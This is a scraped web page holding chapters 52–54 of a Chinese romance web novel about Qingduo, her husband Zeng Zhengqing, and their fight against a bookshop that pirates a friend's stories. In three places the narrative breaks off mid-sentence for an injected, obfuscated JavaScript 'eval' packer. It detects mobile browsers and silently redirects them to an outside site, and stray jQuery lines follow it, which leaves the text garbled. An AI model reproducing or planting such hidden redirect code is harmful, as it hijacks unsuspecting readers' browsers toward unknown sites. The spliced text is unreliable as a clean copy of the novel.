原来如此。 他忍不住开口问道:“露浓姑娘,怎么突然想到写这个故事?” 青朵摇了摇头:“露浓姐姐不知道的,她只是无意中想到这个故事。”随即左右张望着,显然是不想就着这个话题再说下去:“好饿啊!不知道今晚小厨房准备了什么好吃的。” “夫人!”曾正卿将她揽入怀中,搂着她微微发颤的身子,轻轻抚摸她的背安抚着她,低声安慰道,“在我面前,你不必隐藏自己。” 青朵默不作声,缓缓伸出手,回抱住他,抱得很紧很紧。她明白他的意思,如果这世上还有人能与她感同身受,那一定是曾正卿。 “卿卿。” “嗯?”他温柔地回应。 “我爹没有舞弊。” 青朵的声音很轻很轻,却字字分明,透着一股不容置疑的坚定: “我爹……绝不会舞弊!” 52. 进退 夜深,秋风吹来一阵凉意,曾正卿起身关上窗子。回去撩起床帏正欲入帐,忽地望见青朵的睡颜,他随手将床帏勾起,坐在床边,目不转睛地瞧着她。 她的脸在月光下显得惨白,不知梦到什么,睫毛不安地颤动了几下,枕边的拳头骤然攥紧。 曾正卿一声叹息,他不禁抚上青朵的面庞,却抚不去她面上的忧色,原来蒲公英一样丰润的容颜,被风雨吹落了绒毛,折断了茎秆,流出白浓浓的浆液来。 他的心也如秤砣一般,沉沉地坠着,坠下他心中原本就失衡的秤杆,使他内心完全向青朵倾斜。 曾正卿卧在青朵身旁,揽过她来,拥进怀里,低头吻了吻她的眉眼,俨然有了决定。 果然,他做不到袖手旁观。 * “笃!笃!笃!” 一声又一声的敲击,把青朵从睡梦中吵醒。她迷迷糊糊地想着,怎么回事?隔壁冯婶子又开始做饺子了?可怎么大早上就做呀? 不管了,我得起来去她家走一圈,冯婶子热情着呢,每次去,不是给我塞地瓜,就是拿糕团。 青朵仿佛闻到了饺子的肉香,用尽全力睁开沉重的眼皮,床顶四周精致的木雕花边映入眼中,才反应过来,自己早就嫁人了。 那是什么声音? “芳晴芳晴?”她躺着一动不动,懒洋洋地喊了几声。 声音停止,芳晴走进来,应道:“少夫人有什么吩咐?” 青朵揉着太阳穴,随意问道:“刚才那是什么声音?” 芳晴笑嘻嘻道:“我正在捣凤仙花呢,一会儿给少夫人染指甲。” “哦,原来是在捣……”提到“捣”这个字,青朵忽然想到什么,脸上神色古怪起来,手上的动作也停了,她唤住芳晴,“那个……你别捣……你别做了。” “为什么?我上次给少夫人染指甲,你不是很喜欢吗?”芳晴奇怪道。 “反正就是……别做了。”青朵哼哼道。 芳晴愣了一下,看到青朵拉起被子盖住自己,以为她要继续睡,于是蹑手蹑脚地向外走,一边儿还纳闷儿着,刚才,少夫人的耳朵怎么红了? 青朵直等到屋门关上的声音响起,才揭开被子大口呼吸,脸上已经红透了。 那一夜的疼痛复苏,她不可避免地产生荒唐的联想: 坚硬的杵沉沉地捣进臼…… 青朵捂住脸: 臼……臼它该有多疼啊! * 守真堂内。 “真是稀客啊,董公子可是要再选一本儿?”赛林甫见董文远阴沉着脸,试着问道。 “我可不敢,一本都影响我的气运,两本岂不是绝了我的撰写之途?”董文远阴阳怪气道。 “这话我就不明白了,”赛林甫心里不悦,面上仍挂着笑,“我记得,上次你在小店出的那本,深受欢迎,董公子也名气大增,你收名又得利,我说一句这是小店的功劳,不过分吧?” “功劳?你且回答我这个问题,再说是不是功劳!”董文远中指敲敲桌子,“我问你,上次说好是买断,那家人怎的又寻到我跟前要钱?莫不是你压根没把钱给他们?” “怎么会呢。”赛林甫漫不经心地整理袖口,“是他们太贪心了。” 董文远看向他的眼神满是怀疑:“你少骗我!朵仙都告诉我了!” 赛林甫的笑僵在脸上:“朵仙是谁?” “哼!朵仙你都不知道!”董文远烦躁地站起,来回踱步,“不单朵仙这么说,我自己也越想越觉得不对劲,他们不断找我的原因,可能就是因为根本没拿到钱!” 他站定不动,指着赛林甫,怒气冲冲道:“八成是你都昧下了!半分也没给人家!” “我不管!钱我一点儿都没差你的,你该给他们多少,就得给多少!别因为这些破事,断了我的前程!”他一甩袖子,气恼道。 赛林甫皮笑肉不笑,说道:“董公子别恼,请坐,请坐,咱们有话好好说。” 待董文远坐下后,他慢慢说道:“不知道为什么董公子会有这种误解,我可是本分的生意人呀!” “至于你说的这事,我真叫人一次性结清了,他们竟如此骚扰于你,实在是过分!我这就去查查看,若是他们嫌少,我自己添些便是,怎么着,也不能让他们三番五次,找上你门去!” 董文远瞧着他,笑在脸上,却不在眼底,眼角堆起的每一道褶子,仿佛都藏着一道算计。 什么“自己添点”!像赛林甫这种人,怎么可能大发善心!不过是给自己寻个好说辞罢了! 他越发越确定这人就是私吞钱财,连带着抹去他的功德,导致自己的故事越野越糟! 朵仙果然是上仙,要不是她,自己还蒙在鼓里! 董文远也无意拆穿他,只要他能摆平这件事就好。不过在自己这里,塞林甫已经失了信任,他说道:“那就请赛掌柜说话算话,如果这家人再找上我,就休怪我不客气了。” “赛某哪是这种人!我还想再跟董公子做生意呢!”赛林甫嘴角扯出一丝假笑。等董文远一走,他脸上顿时半分笑意也无,他琢磨着:“朵仙……奇怪的名字,难道是谁的相好?” 他冷冰冰道唤人道: “大成,你在店里好好打探一下,谁认识‘朵仙’?还有,谁把咱们店里的事抖搂出去了?” * 青朵背着小挎包,里面装着画好的《纨扇图》,马上就到珠娘的葡萄小院,经过一个狭窄小巷,碰到一个渔夫装束的人,戴着斗笠,卖鱼给邻居。两人把路堵得严严实实。 幸好等青朵快要走近时,渔夫侧过身子,青朵得以挤过去,地上的篓子里传来鱼剧烈的扑腾声。她不由得回头瞥了一眼。 就这么一眼,那个渔夫立刻身子背过去。青朵心里不屑道,人家是看鱼,谁稀罕看你! 只是这个背影怎么……有点眼熟? 她盯着背影瞧,一个难以置信的想法冒出来,还不等她说出口,渔夫突然拎起鱼篓撒腿就跑。 “唐阿礼!站住!你给我站住!”青朵气咻咻地追上去。 大鲤鱼还在手中摆尾,邻居在后面茫然大喊:“喂!老唐!我还没给钱呢!” 刚拐进新路,唐礼就被青朵薅住腰间系带,他气喘吁吁道:“我不跑了,不跑了,跑不动了……”说着,靠着墙缓缓坐下,喘着粗气。 “你怎么又钓上鱼了?不会又买了条船吧?”青朵没好气道。 上次爹连人带船都沉下去,好几天才醒过来,可把她吓坏了。就因为落水,爹到现在都手抖,无法作画! 她越想越气恨,忍不住训道:“你不可以这样!我和珠姨很担心你!我以为你最近爱上下棋,不再跑湖上钓鱼了呢!” 说着说着灵光一现,她阴着脸问道:“不对,是不是根本没有下棋这回事?你每次说下棋,都是去钓鱼?” “是又怎样!”唐礼见事情败露,所幸破罐子破摔,梗着脖子叫道,“没错!我是去钓鱼了!我这么大岁数,难道还没有分寸?还要你一个小孩子教我!” “我不是小孩子!”青朵恼怒道,“我都嫁人了!” “你连孩子都没有,算哪门子大人!再说,在我们当爹娘的眼里,儿女一辈子都是小孩!”唐礼理直气壮。 青朵顿时语塞,她气鼓鼓道:“总之,你不许去!” “你不讲理了,唐阿照!”唐礼面色不愉,“小时候你从树上摔下来,把你娘和我吓了个半死,你后来还执着于爬树,我们不也睁一只眼闭一只眼,默许了吗?” “上次我跟你说过这事,你得学会尊重别人的决定!” “可是,可是……”青朵委屈地撅着嘴,说道,“我已经没了娘,如果再出什么事,我,我不想……”后面的话,她不敢说出来,生怕一语成谶。 唐礼的心蓦地软下来,他双手撑住地面,慢慢站起,叹了一口气,说道:“阿照啊,爹这次没买船,爹坐的是别人的船,稳当,又结实,不会有事的。同船的人,都会游水,就算掉下去,也有人立马把我救上来,你不必担心。” “总不能因为一次落水事件,跟水沾边的就都不能碰了吧?这不是因噎废食嘛!” “爹一定活得长长久久,陪着你,好不好?” 他想拍拍青朵的脑袋安慰他,一伸手闻到一股腥味,只能隔空拍拍意思一下。 青朵默默地点点头,她俯身拎起鱼篓,要背在自己身上,又被唐礼夺过去背好。两人默契地朝葡萄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16025163|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小院走,路上青朵忽地奇道: “咦?你手不抖了吗?手抖怎么钓鱼啊?鱼不会被吓跑了吗?” “怎么不抖?”唐礼忙伸出右手给青朵看,那只手明显左右震颤,他瞧见青朵露出心疼的神色,哀叹道: “唉,你看你爹还是老样子,这辈子是画不了啦!” 青朵马上道:“爹,你别难过,你都教给我,我把你的本事传下去!” “是啊!”唐礼说道,“我也只有我们阿照了!毕竟你在色彩方面的使用异于常人,学东西又快。” 青朵狠狠点头,对于她的夸奖,她都再认同不过了:“是的!我很有天赋!” 唐礼趁机说道:“所以欠别人那幅春宫,还是得你替爹完成。我会告诉他,这是我徒儿画的,全世界风格最像我的人,他想要‘梦游仙’的画,也就只有这个办法了。” ”你要刻苦学画,不仅要达到我的水准,还要超越我!” “嗯!我会再用心的!”青朵双手攥拳,坚定道。 还说自己是大人…唐礼嘴角溢出一抹笑,完全还是个孩子心性嘛! * 青朵的“纨扇图”得到唐礼的盛赞,他在画上印了“梦游仙”的章,左上角还提了几句: “纨扇轻摇意哀伤,学途坎坷又何妨?丹青勤绘领奇境,功到之时自流芳。” 他搁下笔对青朵笑道:“去换点闲钱,买点心吃吧!” 珠娘“扑哧”笑出声来:“哎呀,那都够我们阿照吃好几个月了!” 青朵又惊又喜,一是父亲认可自己的作品,二是盖上“梦游仙”的章,表明师徒关系,此画定能赚得一大笔钱。她心里像猫挠似的,迫不及待就要把卷起来,唐礼拦住她,冲珠娘说道: “这画和‘梦游仙’有关联,不能让阿照去卖。” “梦游仙”以画春宫为名,总不能让青朵这个曾家夫人露面,惹人指指点点。珠娘点头道:“我去。” 珠娘把画拿到“明珠雅斋”卖掉,回头把钱交给青朵。青朵拿到银子,这是她第一次卖画赚得银子,自然喜不自胜,买了酒水点心,熟食凉菜,直奔露浓处,要与她分享。 “露浓姐露浓姐!”刚看到露浓的院门,她就大呼小叫地喊起来。 出来的确实朱熠,他瞧着青朵弯着身子,连背带拎缀着大包小裹,像个炸开尖刺的刺猬,每根刺上都戳得满满当当。人还未走近,迎风已经吹来混杂的香气,令人垂涎欲滴。 他上前几步接过青朵甜蜜的重担,打趣她道:“小刺猬,你要搬家呀?” 青朵气喘如牛,擦擦脸上的汗,跟着他走进院里,刚要回答,却看到有两个人坐在院子里,面朝她的,那是露浓姐,另外一个人闻言,回身笑着望向她。 “卿卿?”青朵诧异道,“你怎么在这?” 青朵的目光扫过每一个人,他们都笑着不说话,她急不可耐正要催促,另一个和她同样着急的人,抢着说道: “你夫君要签下露浓姑娘了!”朱熠道。 青朵大吃一惊,卿卿不是不做话本生意嘛?她半信半疑地望向曾正卿,见他也笑着点头,方才确定,这时真的。 一股喜悦感如同浪潮般涌上心头,直到把她完全淹没。她激动地与曾正卿对视着,望着他温柔的笑,她明白,他最终还是决定,站在自己这边,与她同进退。 啊菩萨!她是多么幸福啊! 当晚,杏树下摆开酒宴,两个姑娘亲亲热热地坐在一起,福源居的烧鸡摆在露浓面前,她揪下一根鸡腿,放到青朵碗里,青朵甜甜地笑了,撒娇道:“露浓姐对我最好啦!” 朱熠忙撕扯下另一个鸡腿放在露浓碗中,露浓红着脸小声道谢。曾正卿识趣地举杯饮酒,避开目光,抬眼望向青朵时,见她笑眯眯地边啃鸡腿,边看热闹,有滋有味,不由得微笑摇头。 朱熠突然端起酒杯起身,清了清嗓子,冲着曾正卿朗声道:“曾卿卿,你帮了露浓姑娘,我要敬你一杯!” 刹那间,席上一点儿声音也没有了。朱熠奇怪地环视一周,大家面露惊愕,一动不动。 “铛——”青朵的鸡腿从手中掉落,砸在碗里。 她顾不得擦嘴上油光,结结巴巴道:“这,这么亲密吗?” 53. 养你 好歹她也是嫁过来好一阵子,才说的出口,他们两个才见过几面!朱熠如此自然就脱口而出? 青朵从上至下地打量他,这人出乎意料的狂放啊! 哼!他除了规规矩矩称呼露浓姐,平时就不曾好好叫她的名字,什么“小青朵”“青小朵”,还有刚才,叫什么“小刺猬”,这回又直接叫她夫君“卿卿”。 对她随随便便就算了,她大肚能容,不与他一般见识,但是欺负到她夫君头上,却是不行! 青朵越想越生气,气鼓鼓地瞪着他。 朱熠见大家神色惊异,不由得慌张起来,他摸摸后脑勺心虚地问道:“怎么?我叫错名字了?我之前听青朵就是这么叫的啊?” 青朵方明白原委,自己当着他们的面,确实一直叫他“曾卿卿”的,不想朱熠竟然有了这种误会,腮帮子蓄满的气一下子“噗”出来。 露浓忙小声提示道:“朱大哥,那是人家夫妻之间的称呼……” 朱熠恍然大悟,他也觉得青朵的夫君名字奇怪,“青青”,像个女子似的,原来,原来是人家夫妻之间的爱称! 他他他居然亲昵地称呼一个男人! 朱熠的脸烧得滚烫,人也烧迷糊了,他一时间口不择言:“那那那当然不不行,我们又不是夫妻,啊不是,我是说……” 青朵嘻嘻一笑,随即一本正经道:“我是卿卿的正头娘子,你若想进门,怎么着也得求我,磕上三百个响头,看在你我关系的份上,我给你打个折扣,这样吧,二百五十个!” 心里的那点坏心思最终还是流露在脸上:“也正合你的气质!”她说完哈哈大笑,露浓顾及朱熠的颜面,本抿嘴憋笑,被青朵一带,再也忍不住笑出声,瞥见朱熠抽搐的嘴角,更是笑声连连,她连忙提起衣袖遮住脸。 曾正卿见朱熠红透了,起身解围道:“朱兄弟,我姓曾,名为‘正卿’,你叫我名字就好。” “露浓姑娘有咏雪之才,我能请她相助,也是她看在与内子的情分上,才让我捡了这个漏子,还是我多谢姑娘的厚意才是。” “青朵顽皮贪玩,总爱讨些嘴上便宜,多亏你二人悉心照拂,处处包容,我敬二位一杯。”曾正卿说完,一饮而尽。 露浓也站起来,与朱熠一起饮尽杯中酒。青朵郁闷道:“说的像你们都是大家长,就我一个小孩似的。明明我也照顾大家了呀!” 这话一出,三人都笑了。落座后,露浓笑道:“我们喝的都是酒,你喝的是蜜水,可不就是小孩子。” 那是她不想喝吗?还不是曾卿卿不许她喝! 曾正卿瞥见青朵的瞪视,悠悠地来了一句:“要我说出来吗?” 青朵顿时蔫了,她可不想别人知道她喝酒后满院子乱跑的糗事,只好说道:“蜜水甜滋滋的,我喜欢。” 曾正卿微微一笑,转头对露浓说道:“露浓姑娘,还请你即刻着手整理《画堂春》三本手稿,我们要尽快重新刊印出版,届时孰高孰低,真伪优劣自然一目了然。” “你的手稿也是关键证物,稍后我便会分别向书商行会和官府提交申请,他损伤了我店的利益,我会要求守珍堂停止盗印的行径,绝对不能让他再混淆视听!” “当然,文人圈子和同业间的舆论造势也不能停。读书人最看重立身品德,向来以风骨气节为要。他们也是书铺的核心客源,若是让守真堂盗印盗名的行径在这些人间传开,如此坏了名声,失了人心。这家店的根基也就有损大半,很难再次立足了。” 露浓听他娓娓道来,顿时信心倍增,她坚定道:“是!我已经整理过了,一会儿我就再过一遍,尽快交给你。” 曾正卿与露浓说话之际,青朵恰与朱熠目光对视,她挤了挤眼睛,冲着他做口型,十分夸张,朱熠凝眸看了好一会儿,才反应来她说的是三个字: “二”“百”“五” 朱熠登时像炸了毛的猫,从下到上缓缓举起拳头,却在露浓余光瞄过来的时候,散开手掌,不动声色地抹了一把自己的头发。 青朵捉弄朱熠,不由得得意忘形,没想到用餐后他以拳法要挟,不道歉就不再教她,这属实是捏住她的命门,不仅赶忙道歉,还把他夸得天上有地上无,一番话说得天花乱坠,直教朱熠心花怒放。 “唉!” 回家的马车上,青朵头靠着车厢壁,一声长叹,“朱大哥还突然对我的功夫上心起来,下周要检查我拳法练得怎样。” “又要画画,又要练拳,我就是变成‘唐双朵’,也难以完成!” 她后悔不已:“早知道不逗朱大哥好了,花功夫哄他不说,还要练拳补功课!” 听到曾正卿低低的笑声,青朵瞟了他一眼,不满道:“你也是的,明明有那么多办法解决露浓姐姐的事,一点都不透露,我只能像无头苍蝇似的,在大街上唱快板乱转!” 她伸出食指戳他的腰,“你说,你是不是躲在一旁,偷偷笑我?有没有?有没有?” 曾正卿不自主地往后一缩,笑道:“没有没有,”待青朵停下攻击,补充道,“我都是当面笑,何必躲起来偷偷笑?” 青朵飞过去一记眼刀,搓搓双手,把双手食指当做两柄短剑,毫不客气左右开“攻”。 曾正卿怕痒,却又闪躲不开,躲得了左手,避不开她的右手,于是伸手抓住她的手腕,一招制敌,青朵犹自不屈不挠,挣扎着往前戳,他连忙解释道:“我说笑呢!夫人惩恶扬善,我佩服都来不及。” “至于解决露浓姑娘的事,我事先已对她言明,我们书铺从未经营过话本,能做到什么程度,我心里也没有十足的把握,只能说是尽力而为吧!” 青朵听他说起此事,心中的郁闷顿时消散,她想要抽回手,曾正卿紧紧握着不放,便也由他继续握着了,说道:“没关系的,露浓姐也明白你是在帮她,她承你的情。” 曾正卿沉吟道:“守真堂更名盗书,受害者不止一人,行内必有传闻,可他们偏偏能安然经营至今,他背后定有不小的门路。我‘清源书籍铺’刚来不久,不过是吴州城一家小书铺,城里面盘根错节的关系还没有完全摸透,若有一招不慎,轻举妄动,恐怕转眼间就会落得倾覆的下场。” 青朵闻言心猛地揪起:“啊?那,那这么严重吗?你的店铺还会有关门的危险?” “这还是轻的,说不定他们背后还有什么大人物撑腰庇护。若真是动了怒,怕是直接能把我们曾家连根拔起,断了所有的生路。” 曾正卿逗弄道:“若真要到了那一天,不知夫人可还陪着我吃糠咽菜?” 他说完,见青朵眉头紧蹙,脸上忧色笼罩,不由后悔,连忙宽慰道:“是我话说重了,我行事会有分寸的,不至于……” 青朵反手将他的一双手捧在手心,斩钉截铁道:“我养你!” “真到了那一天,曾卿卿,我唐青朵养你!” “哦?”曾正卿挑起眉头,“不知夫人靠什么养我?” “当然是我的画!”她下巴高高扬起,仿佛那是看人的眼睛,“我的画,今天卖了一两银子!只要我画他个二三十幅,养你一个绝对没问题!” 画铺是他开的,她的画也是他自掏腰包买的,最后说起来,不就是用他的钱养他? 好好好,羊毛又回到羊身上。 不过这个方掌柜,竟然开出了一两银子的价格,拿着他的钱做人情,倒是慷慨至极。 他瞧着青朵得意的样子,心想,算了,夫人高兴就好。 “那——到时候就全凭夫人垂怜了。”曾正卿身子坐直,拱手恭敬行礼,含笑道。 青朵把胸膛拍得“哐哐”响,保证道:“放心!我就你一个,还能怜谁去!肯定可劲儿怜你!” 忍住,忍住。曾正卿垂首咬紧牙关,守住冲口而出的笑声。 这都是什么虎狼之词! * 朱熠和露浓一起洗碗筷,露浓看了一眼外面,说道:“朱大哥,天色已晚,要不然你先回吧,我自己收拾就行。” 朱熠不肯,一方面是要帮她多做些, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058085|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一方面,自己还想单独和露浓再呆一会儿。他把露浓面前的盆端过来:“就剩这么点儿,我自己洗就行,你快去整理书稿,越早交给曾正卿,印出来就越快!” 在他不断的催促下,露浓便都交给他,进屋整理书稿。朱熠把洗干净的碗摆到厨房架子上,一出门,见地上落了好些杏树的枯叶,又提起扫帚扫起院子来。 不知不觉,就扫到了烛火通明的窗下,他不由得支起扫帚,望向窗上的那处剪影,光是看着那影子,他都能想象到,露浓垂下眼睑,头微微地睡着视线上下移动的专注模样,不由看得痴了。 小青朵善于绘画,就算她未嫁人,也能靠自己绘画为生。她那夫君更不用说,经营书铺,真正能帮得上露浓姑娘。露浓姑娘虽孑然一身,却能写出受人欢迎的话本。而他自己呢?他是会些拳脚不假,一天天就凭着这身本事,在街头闲晃,完全没有什么真正的用武之地。 他又怎么养活自己呢?他又如何成为露浓姑娘的依靠呢? 他忍不住又望向那道身影,自己就站在她身边,可又觉得,他们之间,是触摸不到的遥远。 * 夕阳的余光穿过窗子落在地上,被窗上的菱花格切得七零八落,整间屋子像是一个破旧的灯笼,笼着昏黄的光。赛林甫就坐在吴燕的对面,不知是不是嘴角被虾须遮挡的缘故,看起来似笑非笑,多了些阴恻恻的味道。 吴燕收了朱熠送来的钱,大部分用来给孩子小光治病,小部分与弟弟吴江一起,去集市上挑了上好的驴皮,打算刻制一批新的皮影戏人物。 姐弟二人以表演皮影戏为生,早就琢磨着排一出新戏。可家里头这几年变故不断,日子过得捉襟见肘,别说添置新的皮影,连安稳的闲钱都没留下过。如今有了银子,多年的心愿总算能落地了。 吴燕在院子里,一边剔刮驴皮上的毛和肉,一边在心里盘算,等新戏排出来,定要多跑几处村子,早早地把钱赚回来,还给青朵他们才好,总不能一直欠着这份情。 这时,有人找上门来,说是守真堂的赛掌柜,请他们去谈一谈。先前她去过多少次,都被拦在门外赶出来。可这回青朵他们才闹了几天,守真堂的人便急吼吼地找上门来。吴燕心中冷笑,转身随他们去了,她倒是要看看他们想玩什么把戏。 她瞥了一眼桌上的纸,冷冰冰道:“我不识字,这上面写的什么?” “这是一纸合同,我最近查店里的账目,这么一瞧,别人的书款早就结清了,竟然少了你丈夫的书钱,到现在都没给!” “唉,我手下人办事真是太不靠谱了!净给我添乱子!”赛林甫摇头道。 “书款?可我家的生前没和我说,把这书卖了呀!”吴燕疑惑道。 赛林甫从怀里拿出一张纸放到桌上:“口说无凭,这可是他之前签过的同意书,你瞧瞧那上面写的是不是他的名字?” “你只要在这合同上签了字,十两银子立刻就能到手。”他把银子搁在桌上,却不松手,“但话说在前头,你签了字,这件事儿不能往外说半个字儿,更不许再去找董公子纠缠。这笔钱可就是买断钱!” 吴燕盯着那份所谓的‘同意书’,她虽不识字,但那字迹分明是丈夫的。可他明明未曾说过把书稿卖出去,那这字又是怎么来的?若他们仿冒了丈夫的字来写假文书,又为何递来十两银子?她心里乱糟糟的。 转念一想,如果拿了这十两银子,就能快点儿把钱还给青朵,她实在不愿欠着别人的情。可这钱来的又不清不楚,不明不白,难道她就这样把丈夫的遗作卖掉了吗? 一时间,吴燕心里纠结万分。 吴燕提起毛笔,这个她能够稳稳当当,给皮影敷色的工具,如今提起却有如千斤重,她无法捏住笔杆,只能更改握笔的姿势,像个刚会拿笔的幼童,五指并拢,将毛笔攥在拳头中。 她伏低身子,在右手不断颤动下,下坠,下坠,笔尖离合同文书越来越近…… 赛林甫笑了。 这次,那笑意深入眼底。 54. 露馅 青朵坐在梳妆台前,盯着镜中的自己,闷闷不乐。 芳晴小心翼翼地问道:“夫人,是我梳的双蟠髻不合你心意吗?” 青朵无精打采地摇摇头,却还不忘称赞自己:“不是的,你的手很巧,而我梳什么发型都很好看。我们是一对好搭档。” 芳晴见青朵一下又一下揪衣角,显是心中有为难的事情,于是问道:“那是为什么啊?” 为什么?青朵又开始叹气。刘恪夫人今日生辰,请他们夫妇前去赴宴。刘大哥的夫人是正经的大家闺秀,想来平时与她往来认识的,也都是些门第高贵的小姐夫人们。她们言谈举止最有大家风范,哪像自己随心而欲,为所欲为? 自己一开始就假装是个窈窕淑女,虽说最近没怎么努力,但第一印象怎么也都稳住了。卿卿长久跟她在一起生活也许不觉怎样,但要是把她放到那群贤德淑良的女子里,她这等冒牌货,不就立马露馅了吗? 青朵越想越烦闷,叹气声接二连三。 “夫人为何叹气?” 青朵吓了一跳,侧身一瞧,原来是曾正卿回来了。她松了一口气,自己沉浸在苦恼中,都不知道他什么时候进来的。 “没什么。”她说完又叹一口气,可怜巴巴地看向曾正清,问道,“卿卿,我们能不能不去呀?” “已经答应人家了,怎好反悔?”曾正卿看着愁眉苦脸的青朵,奇怪道,“你为何不想去?” 青朵一时语塞,这让她怎么说?她总不能说,是怕自己这假货碰上真货,彻底暴露了吧?脑袋飞快转动寻找理由:“我……我……我胖了,等我瘦下来再去。” 这倒不是虚话,从她嫁人以来,衣食无忧,吃吃喝喝,确实比以前圆润不少,连前日和芳晴一起跳百索,身姿都不轻盈了。 曾正卿上下打量了一番,决定睁眼说瞎话:“没有。” “夫人体态匀称,气色红润,不必执着于纤瘦。”他劝道。 青朵见一计不成,又生一计:她可以装病!就说自己腿疼吧!可自己最近坐着马车来来去去,也不可能腿疼,那还是肚子疼吧! 就这么一犹豫,手和嘴就出了乱子。她伏低身子叫道:“哎哟哟我腿……” 话还没说完,她就看到曾正卿露出意味深长的笑。青朵顺着他的目光,看向自己捂住肚子的右手,登时心虚不已,幸好她心思活络,灵机一动,那手直接顺着身子往下滑落到小腿,她续道:“我腿,腿肚子疼。” 曾正卿看出她是借故推脱,也不说破,他走到青朵身后,芳晴识趣地让到一旁。 青朵见他从袖中取出一个细长的盒子,十分好奇,回头想要一探究竟,却被他握住肩膀阻拦,“是什么?”她迫不及待地问道。 “一会儿你就知道了。” 青朵目不转睛盯着镜子,看着他打开盒子,取出簪子插入自己的发髻,直到他松开手,她才看清簪头是什么样式。 那是一朵红山茶花。 曾正卿笑道:“喜欢吗?” 青朵又惊又喜,她伸手去摸,随口问道:“这时候哪来的山茶花?” 手一碰到那花,她顿时明白了。这并不是真花,而是用红宝石雕琢而成的形状,在烛光照耀下熠熠生辉,像是凝了露水,娇艳欲滴。 青朵抚摸簪子,爱不释手,喜溢眉梢。她惊叹道:“真美!卿卿,你哪里得来的?” 曾正卿微笑道:“之前到宝香阁定制的,今日取回,正好为夫人添妆。” 他初见青朵时,她的发间就簪有一朵红山茶,清莹秀澈的雨滴落在花瓣上,更增俏丽。她就带着这份明艳,踏入他的人生。 青朵精气十足,在镜子前扭来扭曲,欣赏美丽的簪子,问道:“这上面这么多宝石,一定很贵吧?” “宝石搁在匣子里,不过是块毫无生气的死物,戴在夫人头上,才会光彩夺目。它本身不过是块石头,是夫人风姿绰约,才让宝石显得珍贵。”曾正卿坦言道。 哇! 青朵心里受用极了,她望向他的眼神,盛着绵绵的情意,带着藏不住的欢喜。 曾正卿看着青朵亮晶晶的眼睛,为她喜欢自己的礼物而喜悦,可她之前还说腿疼,转眼就抛到脑后,他又感到好笑,于是学她说话,故意问道:“你腿……肚子还疼不疼了?” 他不提起自己都忘了这事! 青朵含糊道:“嗯……还是有些疼的,只是……”她手指向簪子,忍不住的雀跃,“只是!我的‘朋友’今天刚来,我得出门带它见见世面才行!” * 曾正卿以为青朵初次参加宴会,心里不安,所以之前才会畏缩不前。下马车前,他特意安慰到:“刘夫人本就是个心性和善的,你头一次来,她定会多照看你几分。何况你性子开朗活泼,用不了多久就能和她们熟络起来。你且放宽心去,就当是结识些新朋友,自在就好。” 青朵乖巧点头,她心里已悄悄拿定主意,今晚旁人做什么,她便跟着学什么,这般总不至于出错!说不定经过这一晚的学习,她真能成为旁人眼中举止合宜的淑女呢。 青朵顿觉这个宴会没什么可怕的了,还有些信心满满。她说道:“能和他们交上朋友自然好,就算交不上朋友,我也可以品尝美食。你别替我操心。尽管去和朋友们畅快聊天,好好享受宴会吧!” 瞧,她这么快就转了念头。曾正清心里既佩服又欢喜。他的夫人向来有这样的本事,无论境遇如何,她的天空总是晴朗的。此刻她神采依旧,正好奇地探头打探刘府的布置,左瞧瞧右望望,像站在枝头上摇头摆尾的小麻雀。他忽然心头一动,伸手牵住她的手。 虽是夜晚,但府内各处灯火通明,绛红色的灯笼投下一片暖融。刘恪和夫人李妙婉在前厅接客,曾正卿二人与他俩行了礼,说了几句生辰安康的吉言。青朵悄悄打量,李妙婉约莫二十左右年纪,浓艳姝丽,声音轻柔婉转,举手投足中透露出一种从容优雅,不禁暗暗赞道: 嚯!“真货”就是不一样! 在曾正卿与青朵的婚礼上,李妙婉就看出青朵的与众不同,她还没见过谁家新娘子,揭了盖头之后欢天喜地向大家摆手。又听刘恪说起青朵画糖画的趣事,对她更是饶有兴趣。 今日相见,见她生得玉雪可爱,圆溜溜的眼睛直勾勾地望着自己,脸上显出倾慕的神色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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青朵连连推辞:“不,这太贵重了。你不必如此客气,刘大哥先前也帮了我很大的忙呢,他花三千两银子买下一幅画,后来发现是我娘的手笔,二话不说就送给了我。我感激还来不及,怎么能再收你的东西呢?” 李妙婉顿时僵住了,她愕然道:“你刚才说他买画花了多少两?” 青朵茫然道:“三千啊!” 周围静得可怕,青朵环视一周,大家都像中了什么咒语一样,一动不动看着她俩。她回过头看到李妙婉铁青的脸色,突然冒了一身冷汗。后知后觉地意识到,刘恪没有对李妙婉说实话,她并不知道此事。 天啊,这怎么办?她总不能第一次来人家做客,就把人家夫妻给拆散了吧? 青朵神色慌张,连忙找补道: “三百两?” 看到李妙婉呼吸急促,青朵再次改口: “三十两?” 她们离得太近了,近到她可以听到李妙婉牙齿咬得咯咯作响。青朵干脆道: “三两!” “一共花了三千三百三十三两?”李妙婉怒道,“他竟花了这么多钱?骗我说是百两银子随意淘来的!好啊,好大的胆子!他现在居然敢哄骗我!” 这时什么“优雅”“从容”,统统都不见了。她眼里“凶光”毕露,倘若刘恪此时在场,定然凶多吉少,在劫难逃。 青朵害怕地后退两步, 一声怒吼响彻整天地: 